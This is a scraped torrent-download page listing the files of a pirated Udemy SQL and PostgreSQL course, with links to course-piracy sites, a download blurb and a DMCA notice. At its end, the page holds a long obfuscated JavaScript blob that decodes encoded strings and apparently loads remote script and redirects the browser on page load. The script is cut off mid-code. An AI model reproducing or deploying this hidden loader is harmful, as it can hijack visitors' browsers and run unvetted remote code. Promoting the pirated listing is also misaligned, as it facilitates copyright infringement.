    20 - Implementing Database Design Patterns/007 Creating Hashtags, Hashtag Posts, and Followers_en.srt 9.4 KB
    21 - Approaching and Writing Complex Queries/001 Quick Note About Adding Some Data.html 251 B
    21 - Approaching and Writing Complex Queries/001 ig.sql 23.51 MB
    21 - Approaching and Writing Complex Queries/002 Adding Some Data.mp4 16.95 MB
    21 - Approaching and Writing Complex Queries/002 Adding Some Data_en.srt 6.8 KB
    21 - Approaching and Writing Complex Queries/003 Restoring from Scratch.mp4 21.23 MB
    21 - Approaching and Writing Complex Queries/003 Restoring from Scratch_en.srt 7.13 KB
    21 - Approaching and Writing Complex Queries/004 Highest User ID's Exercise.mp4 7.14 MB
    21 - Approaching and Writing Complex Queries/004 Highest User ID's Exercise_en.srt 3.16 KB
    21 - Approaching and Writing Complex Queries/005 Solution for User ID's.mp4 4.64 MB
    21 - Approaching and Writing Complex Queries/005 Solution for User ID's_en.srt 1.9 KB
    21 - Approaching and Writing Complex Queries/006 Posts by a Particular User.mp4 4.81 MB
    21 - Approaching and Writing Complex Queries/006 Posts by a Particular User_en.srt 1.76 KB
    21 - Approaching and Writing Complex Queries/007 Solving for Posts by User.mp4 9.39 MB
    21 - Approaching and Writing Complex Queries/007 Solving for Posts by User_en.srt 2.9 KB
    21 - Approaching and Writing Complex Queries/008 Likes Per User.mp4 3.59 MB
    21 - Approaching and Writing Complex Queries/008 Likes Per User_en.srt 1.29 KB
    21 - Approaching and Writing Complex Queries/009 Solution for Likes Per User.mp4 6.6 MB
    21 - Approaching and Writing Complex Queries/009 Solution for Likes Per User_en.srt 2.47 KB
    22 - Understanding the Internals of PostgreSQL/0. Websites you may like/[CourseClub.Me].url 122 B
    22 - Understanding the Internals of PostgreSQL/0. Websites you may like/[FreeCourseSite.com].url 127 B
    22 - Understanding the Internals of PostgreSQL/0. Websites you may like/[GigaCourse.Com].url 49 B
    22 - Understanding the Internals of PostgreSQL/001 Thinking About Performance.mp4 9.24 MB
    22 - Understanding the Internals of PostgreSQL/001 Thinking About Performance_en.srt 3.53 KB
    22 - Understanding the Internals of PostgreSQL/002 Where Does Postgres Store Data.mp4 37.02 MB
    22 - Understanding the Internals of PostgreSQL/002 Where Does Postgres Store Data_en.srt 8.8 KB
    22 - Understanding the Internals of PostgreSQL/003 Heaps, Blocks, and Tuples.mp4 22.73 MB
    22 - Understanding the Internals of PostgreSQL/003 Heaps, Blocks, and Tuples_en.srt 5.9 KB
    22 - Understanding the Internals of PostgreSQL/004 Block Data Layout.mp4 17.24 MB
    22 - Understanding the Internals of PostgreSQL/004 Block Data Layout_en.srt 7.19 KB
    22 - Understanding the Internals of PostgreSQL/005 Heap File Layout.mp4 597.17 MB
    22 - Understanding the Internals of PostgreSQL/005 Heap File Layout_en.srt 50.58 KB
    23 - A Look at Indexes for Performance/001 Full Table Scans.mp4 37.18 MB
    23 - A Look at Indexes for Performance/001 Full Table Scans_en.srt 6.39 KB
    23 - A Look at Indexes for Performance/002 What's an Index.mp4 10.1 MB
    23 - A Look at Indexes for Performance/002 What's an Index_en.srt 3.9 KB
    23 - A Look at Indexes for Performance/003 How an Index Works.mp4 69.31 MB
    23 - A Look at Indexes for Performance/003 How an Index Works_en.srt 12.83 KB
    23 - A Look at Indexes for Performance/004 Creating an Index.mp4 13.11 MB
    23 - A Look at Indexes for Performance/004 Creating an Index_en.srt 6.55 KB
    23 - A Look at Indexes for Performance/005 Benchmarking Queries.mp4 22.58 MB
    23 - A Look at Indexes for Performance/005 Benchmarking Queries_en.srt 8.46 KB
    23 - A Look at Indexes for Performance/006 Downsides of Indexes.mp4 31.82 MB
    23 - A Look at Indexes for Performance/006 Downsides of Indexes_en.srt 7.83 KB
    23 - A Look at Indexes for Performance/007 Index Types.mp4 6.46 MB
    23 - A Look at Indexes for Performance/007 Index Types_en.srt 2.52 KB
    23 - A Look at Indexes for Performance/008 Automatically Generated Indexes.mp4 19.74 MB
    23 - A Look at Indexes for Performance/008 Automatically Generated Indexes_en.srt 5.62 KB
    23 - A Look at Indexes for Performance/009 Behind the Scenes of Indexes.mp4 398.75 MB
    24 - Basic Query Tuning/001 The Query Processing Pipeline.mp4 25.73 MB
    24 - Basic Query Tuning/001 The Query Processing Pipeline_en.srt 8.33 KB
    24 - Basic Query Tuning/002 Explain and Explain Analyze.mp4 42.83 MB
    24 - Basic Query Tuning/002 Explain and Explain Analyze_en.srt 8.39 KB
    24 - Basic Query Tuning/003 Solving an Explain Mystery.mp4 79.79 MB
    24 - Basic Query Tuning/003 Solving an Explain Mystery_en.srt 14.13 KB
    25 - Advanced Query Tuning/001 Developing an Intuitive Understanding of Cost.mp4 102.89 MB
    25 - Advanced Query Tuning/001 Developing an Intuitive Understanding of Cost_en.srt 20.13 KB
    25 - Advanced Query Tuning/002 Calculating Cost by Hand.mp4 51.25 MB
    25 - Advanced Query Tuning/002 Calculating Cost by Hand_en.srt 10.01 KB
    25 - Advanced Query Tuning/003 A Touch More on Costs.mp4 95.4 MB
    25 - Advanced Query Tuning/003 A Touch More on Costs_en.srt 11.11 KB
    25 - Advanced Query Tuning/004 Startup vs Total Costs.mp4 44.7 MB
    25 - Advanced Query Tuning/004 Startup vs Total Costs_en.srt 8.98 KB
    25 - Advanced Query Tuning/005 Costs Flow Up.mp4 10.1 MB
    25 - Advanced Query Tuning/005 Costs Flow Up_en.srt 3 KB
    25 - Advanced Query Tuning/006 Use My Index!.mp4 39.4 MB
    25 - Advanced Query Tuning/006 Use My Index!_en.srt 12.52 KB
    26 - Simple Common Table Expressions/001 Common Table Expressions.mp4 11.19 MB
    26 - Simple Common Table Expressions/001 Common Table Expressions_en.srt 2.94 KB
    26 - Simple Common Table Expressions/002 A Quick Solution.mp4 13.16 MB
    26 - Simple Common Table Expressions/002 A Quick Solution_en.srt 5.87 KB
    26 - Simple Common Table Expressions/003 So What's a CTE.mp4 33.5 MB
    26 - Simple Common Table Expressions/003 So What's a CTE_en.srt 6.19 KB
    27 - Recursive Common Table Expressions/001 Recursive CTE's.mp4 11.9 MB
    27 - Recursive Common Table Expressions/002 Recursive CTE's Step by Step.mp4 62.89 MB
    27 - Recursive Common Table Expressions/002 Recursive CTE's Step by Step_en.srt 16.13 KB
    27 - Recursive Common Table Expressions/003 Why Use Recursive CTE's.mp4 43.14 MB
    27 - Recursive Common Table Expressions/003 Why Use Recursive CTE's_en.srt 7.59 KB
    27 - Recursive Common Table Expressions/004 Writing the Query.mp4 36.56 MB
    27 - Recursive Common Table Expressions/004 Writing the Query_en.srt 12.49 KB
    27 - Recursive Common Table Expressions/005 Walking Through Recursion.mp4 109.41 MB
    27 - Recursive Common Table Expressions/005 Walking Through Recursion_en.srt 14.96 KB
    28 - Simplifying Queries with Views/001 Most Popular Users.mp4 24.81 MB
    28 - Simplifying Queries with Views/001 Most Popular Users_en.srt 10.22 KB
    28 - Simplifying Queries with Views/002 A Possible Solution for Merging Tables.mp4 35.67 MB
    28 - Simplifying Queries with Views/002 A Possible Solution for Merging Tables_en.srt 6.11 KB
    28 - Simplifying Queries with Views/003 Creating a View.mp4 33.33 MB
    28 - Simplifying Queries with Views/003 Creating a View_en.srt 8.82 KB
    28 - Simplifying Queries with Views/004 When to Use a View.mp4 21.21 MB
    28 - Simplifying Queries with Views/004 When to Use a View_en.srt 5.06 KB
    28 - Simplifying Queries with Views/005 Deleting and Changing Views.mp4 12.51 MB
    29 - Optimizing Queries with Materialized Views/001 Materialized Views.mp4 8.38 MB
    29 - Optimizing Queries with Materialized Views/001 Materialized Views_en.srt 3.93 KB
    29 - Optimizing Queries with Materialized Views/002 Grouping by Week.mp4 34.4 MB
    29 - Optimizing Queries with Materialized Views/002 Grouping by Week_en.srt 6.53 KB
    29 - Optimizing Queries with Materialized Views/003 Reminder on Left Joins.mp4 15.51 MB
    29 - Optimizing Queries with Materialized Views/003 Reminder on Left Joins_en.srt 7.11 KB
    29 - Optimizing Queries with Materialized Views/004 Writing a Slow Query.mp4 55.08 MB
    29 - Optimizing Queries with Materialized Views/004 Writing a Slow Query_en.srt 13.96 KB
    29 - Optimizing Queries with Materialized Views/005 Creating and Refreshing Materialized Views.mp4 36.1 MB
    29 - Optimizing Queries with Materialized Views/005 Creating and Refreshing Materialized Views_en.srt 9.74 KB
    30 - Handling Concurrency and Reversibility with Transactions/001 What are Transactions Used For.mp4 22.54 MB
    30 - Handling Concurrency and Reversibility with Transactions/001 What are Transactions Used For_en.srt 6.36 KB
    30 - Handling Concurrency and Reversibility with Transactions/002 Some Sample Data.mp4 5.44 MB
    30 - Handling Concurrency and Reversibility with Transactions/002 Some Sample Data_en.srt 3.28 KB
    30 - Handling Concurrency and Reversibility with Transactions/003 Opening and Closing Transactions.mp4 65.33 MB
    30 - Handling Concurrency and Reversibility with Transactions/003 Opening and Closing Transactions_en.srt 15.13 KB
    30 - Handling Concurrency and Reversibility with Transactions/004 Transaction Cleanup on Crash.mp4 32.89 MB
    30 - Handling Concurrency and Reversibility with Transactions/005 Closing Aborted Transactions.mp4 7.47 MB
    30 - Handling Concurrency and Reversibility with Transactions/005 Closing Aborted Transactions_en.srt 2.87 KB
    31 - Managing Database Design with Schema Migrations/0. Websites you may like/[CourseClub.Me].url 122 B
    31 - Managing Database Design with Schema Migrations/0. Websites you may like/[FreeCourseSite.com].url 127 B
    31 - Managing Database Design with Schema Migrations/0. Websites you may like/[GigaCourse.Com].url 49 B
    31 - Managing Database Design with Schema Migrations/001 A Story on Migrations.mp4 139.7 MB
    31 - Managing Database Design with Schema Migrations/001 A Story on Migrations_en.srt 28.04 KB
    31 - Managing Database Design with Schema Migrations/002 Migration Files.mp4 44.16 MB
    31 - Managing Database Design with Schema Migrations/002 Migration Files_en.srt 7.5 KB
    31 - Managing Database Design with Schema Migrations/003 Issues Solved by Migrations.mp4 10 MB
    31 - Managing Database Design with Schema Migrations/003 Issues Solved by Migrations_en.srt 4.52 KB
    31 - Managing Database Design with Schema Migrations/004 A Few Notes on Migrations Libraries.mp4 34.19 MB
    31 - Managing Database Design with Schema Migrations/004 A Few Notes on Migrations Libraries_en.srt 7.56 KB
    31 - Managing Database Design with Schema Migrations/005 A Note About Node Installation.html 264 B
    31 - Managing Database Design with Schema Migrations/006 Project Creation.mp4 9.91 MB
    31 - Managing Database Design with Schema Migrations/006 Project Creation_en.srt 4.51 KB
    31 - Managing Database Design with Schema Migrations/007 Generating and Writing Migrations.mp4 45.64 MB
    31 - Managing Database Design with Schema Migrations/007 Generating and Writing Migrations_en.srt 10.4 KB
    31 - Managing Database Design with Schema Migrations/008 Applying and Reverting Migrations.mp4 68.14 MB
    31 - Managing Database Design with Schema Migrations/008 Applying and Reverting Migrations_en.srt 11.52 KB
    31 - Managing Database Design with Schema Migrations/009 Generating and Applying a Second Migration.mp4 16.63 MB
    31 - Managing Database Design with Schema Migrations/009 Generating and Applying a Second Migration_en.srt 5.43 KB
    32 - Schema vs Data Migrations/001 Schema vs Data Migrations.mp4 20.28 MB
    32 - Schema vs Data Migrations/002 Dangers Around Data Migrations.mp4 70 MB
    32 - Schema vs Data Migrations/002 Dangers Around Data Migrations_en.srt 14.78 KB
    32 - Schema vs Data Migrations/003 Properly Running Data and Schema Migrations.mp4 19.73 MB
    32 - Schema vs Data Migrations/003 Properly Running Data and Schema Migrations_en.srt 8.6 KB
    32 - Schema vs Data Migrations/004 Creating a Posts Table.mp4 21.59 MB
    32 - Schema vs Data Migrations/004 Creating a Posts Table_en.srt 7.11 KB
    32 - Schema vs Data Migrations/005 005-index.js 1.32 KB
    32 - Schema vs Data Migrations/005 A Small Web Server.mp4 62.26 MB
    32 - Schema vs Data Migrations/006 Web Server Setup Instructions.html 1.02 KB
    32 - Schema vs Data Migrations/007 Adding the Loc Column.mp4 21.55 MB
    32 - Schema vs Data Migrations/007 Adding the Loc Column_en.srt 6.29 KB
    32 - Schema vs Data Migrations/008 Writing Values to Both Columns.mp4 16.26 MB
    32 - Schema vs Data Migrations/008 Writing Values to Both Columns_en.srt 6.71 KB
    32 - Schema vs Data Migrations/009 Transaction Locks.mp4 96.42 MB
    32 - Schema vs Data Migrations/009 Transaction Locks_en.srt 22.44 KB
    32 - Schema vs Data Migrations/010 Updating Values.mp4 15.27 MB
    32 - Schema vs Data Migrations/010 Updating Values_en.srt 6.43 KB
    32 - Schema vs Data Migrations/011 01-lng-lat-to-loc.js 364 B
    32 - Schema vs Data Migrations/011 Migrations Setup Instructions.html 925 B
    32 - Schema vs Data Migrations/012 Updating the App Server.mp4 13.23 MB
    32 - Schema vs Data Migrations/012 Updating the App Server_en.srt 6.56 KB
    32 - Schema vs Data Migrations/013 Dropping the Last Columns.mp4 11.61 MB
    32 - Schema vs Data Migrations/013 Dropping the Last Columns_en.srt 4.65 KB
    33 - Accessing PostgreSQL From API's/001 Section Goal.mp4 2.62 MB
    33 - Accessing PostgreSQL From API's/001 Section Goal_en.srt 1.56 KB
    33 - Accessing PostgreSQL From API's/002 Initial Setup.mp4 2.23 MB
    33 - Accessing PostgreSQL From API's/002 Initial Setup_en.srt 2.45 KB
    33 - Accessing PostgreSQL From API's/003 One Fast Migration.mp4 24.43 MB
    33 - Accessing PostgreSQL From API's/004 005-access-social-repo.zip 61.31 KB
    33 - Accessing PostgreSQL From API's/004 Building the Users Router.mp4 29.61 MB
    33 - Accessing PostgreSQL From API's/004 Building the Users Router_en.srt 7.07 KB
    33 - Accessing PostgreSQL From API's/005 Understanding Connection Pools.mp4 22.93 MB
    33 - Accessing PostgreSQL From API's/005 Understanding Connection Pools_en.srt 10.65 KB
    33 - Accessing PostgreSQL From API's/006 Validating Connection Credentials.mp4 44.74 MB
    33 - Accessing PostgreSQL From API's/006 Validating Connection Credentials_en.srt 10.59 KB
    33 - Accessing PostgreSQL From API's/007 008-access.zip 62 KB
    33 - Accessing PostgreSQL From API's/007 Query and Close.mp4 5.9 MB
    33 - Accessing PostgreSQL From API's/007 Query and Close_en.srt 3.18 KB
    34 - Data Access Pattern - Repositories/001 The Repository Pattern.mp4 17.88 MB
    34 - Data Access Pattern - Repositories/001 The Repository Pattern_en.srt 5.69 KB
    34 - Data Access Pattern - Repositories/002 010-access.zip 62.58 KB
    34 - Data Access Pattern - Repositories/002 Creating a Repository.mp4 24.78 MB
    34 - Data Access Pattern - Repositories/002 Creating a Repository_en.srt 12.66 KB
    34 - Data Access Pattern - Repositories/003 Accessing the API.mp4 23.55 MB
    34 - Data Access Pattern - Repositories/003 Accessing the API_en.srt 6.25 KB
    34 - Data Access Pattern - Repositories/004 Casing Issues.mp4 18.55 MB
    34 - Data Access Pattern - Repositories/004 Casing Issues_en.srt 6.88 KB
    34 - Data Access Pattern - Repositories/005 Fixing Casing.mp4 49.74 MB
    34 - Data Access Pattern - Repositories/005 Fixing Casing_en.srt 9.99 KB
    34 - Data Access Pattern - Repositories/006 Finding Particular Users.mp4 18.16 MB
    34 - Data Access Pattern - Repositories/006 Finding Particular Users_en.srt 8.38 KB
    35 - Security Around PostgreSQL/001 SQL Injection Exploits.mp4 30.46 MB
    35 - Security Around PostgreSQL/001 SQL Injection Exploits_en.srt 10.71 KB
    35 - Security Around PostgreSQL/002 Handling SQL Injection with Prepared Statements.mp4 38.15 MB
    35 - Security Around PostgreSQL/002 Handling SQL Injection with Prepared Statements_en.srt 12.78 KB
    35 - Security Around PostgreSQL/003 Preventing SQL Injection.mp4 34.29 MB
    35 - Security Around PostgreSQL/003 Preventing SQL Injection_en.srt 11.96 KB
    35 - Security Around PostgreSQL/004 Reminder on Post Requests.mp4 14.4 MB
    35 - Security Around PostgreSQL/004 Reminder on Post Requests_en.srt 4.28 KB
    35 - Security Around PostgreSQL/005 019-access.zip 63.56 KB
    35 - Security Around PostgreSQL/005 Inserting Users.mp4 15.25 MB
    35 - Security Around PostgreSQL/005 Inserting Users_en.srt 6.53 KB
    35 - Security Around PostgreSQL/006 Handling Updates.mp4 16.66 MB
    35 - Security Around PostgreSQL/006 Handling Updates_en.srt 7 KB
    35 - Security Around PostgreSQL/007 021-access.zip 63.66 KB
    35 - Security Around PostgreSQL/007 And, Finally, Delete.mp4 18.24 MB
    35 - Security Around PostgreSQL/007 And, Finally, Delete_en.srt 6.7 KB
    36 - Fast Parallel Testing/001 A Note on Testing.mp4 7.64 MB
    36 - Fast Parallel Testing/001 A Note on Testing_en.srt 5.07 KB
    36 - Fast Parallel Testing/002 Assertions Around User Count.mp4 42.34 MB
    36 - Fast Parallel Testing/002 Assertions Around User Count_en.srt 11.15 KB
    36 - Fast Parallel Testing/003 024-access.zip 64.5 KB
    36 - Fast Parallel Testing/003 Connecting to a DB For Tests.mp4 54.23 MB
    36 - Fast Parallel Testing/003 Connecting to a DB For Tests_en.srt 8.19 KB
    36 - Fast Parallel Testing/004 025-access.zip 64.51 KB
    36 - Fast Parallel Testing/004 Disconnecting After Tests.mp4 12.86 MB
    36 - Fast Parallel Testing/004 Disconnecting After Tests_en.srt 4.86 KB
    36 - Fast Parallel Testing/005 026-access.zip 64.52 KB
    36 - Fast Parallel Testing/005 Multi-DB Setup.mp4 21.85 MB
    36 - Fast Parallel Testing/005 Multi-DB Setup_en.srt 7.31 KB
    36 - Fast Parallel Testing/006 027-access.zip 64.52 KB
    36 - Fast Parallel Testing/006 Assumptions Around Content.mp4 33.12 MB
    36 - Fast Parallel Testing/006 Assumptions Around Content_en.srt 8.08 KB
    36 - Fast Parallel Testing/007 028-access.zip 65.77 KB
    36 - Fast Parallel Testing/007 Issues with Parallel Tests.mp4 35.76 MB
    36 - Fast Parallel Testing/007 Issues with Parallel Tests_en.srt 8.34 KB
    36 - Fast Parallel Testing/008 Isolation with Schemas.mp4 27.4 MB
    36 - Fast Parallel Testing/008 Isolation with Schemas_en.srt 6.59 KB
    36 - Fast Parallel Testing/009 Creating and Accessing Schemas.mp4 19.38 MB
    36 - Fast Parallel Testing/009 Creating and Accessing Schemas_en.srt 8.21 KB
    36 - Fast Parallel Testing/010 Controlling Schema Access with Search Paths.mp4 30.95 MB
    36 - Fast Parallel Testing/010 Controlling Schema Access with Search Paths_en.srt 8.82 KB
    36 - Fast Parallel Testing/011 Routing Schema Access.mp4 41.12 MB
    36 - Fast Parallel Testing/011 Routing Schema Access_en.srt 6.47 KB
    36 - Fast Parallel Testing/012 Strategy for Isolation.mp4 17.57 MB
    36 - Fast Parallel Testing/012 Strategy for Isolation_en.srt 7.17 KB
    36 - Fast Parallel Testing/013 034-access.zip 66.14 KB
    36 - Fast Parallel Testing/013 Programmatic Schema Creation.mp4 65.75 MB
    36 - Fast Parallel Testing/013 Programmatic Schema Creation_en.srt 18.58 KB
    36 - Fast Parallel Testing/014 035-access.zip 66.14 KB
    36 - Fast Parallel Testing/014 Escaping Identifiers.mp4 25.53 MB
    36 - Fast Parallel Testing/014 Escaping Identifiers_en.srt 6.73 KB
    36 - Fast Parallel Testing/015 036-access.zip 66.48 KB
    36 - Fast Parallel Testing/015 Test Helpers.mp4 43.34 MB
    36 - Fast Parallel Testing/015 Test Helpers_en.srt 8.1 KB
    36 - Fast Parallel Testing/016 037-access.zip 66.59 KB
    36 - Fast Parallel Testing/016 Cleaning up Schemas and Roles.mp4 31.28 MB
    36 - Fast Parallel Testing/016 Cleaning up Schemas and Roles_en.srt 8.5 KB
    36 - Fast Parallel Testing/017 Finally... Parallel Tests! (Final Lecture).mp4 18.57 MB
    36 - Fast Parallel Testing/017 Finally... Parallel Tests! (Final Lecture)_en.srt 5.14 KB
    37 - Bonus!/001 Bonus!.html 3.37 KB

Download Info

  • Tips

    “[FreeCourseSite.com] Udemy - SQL and PostgreSQL The Complete Developer's Guide” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 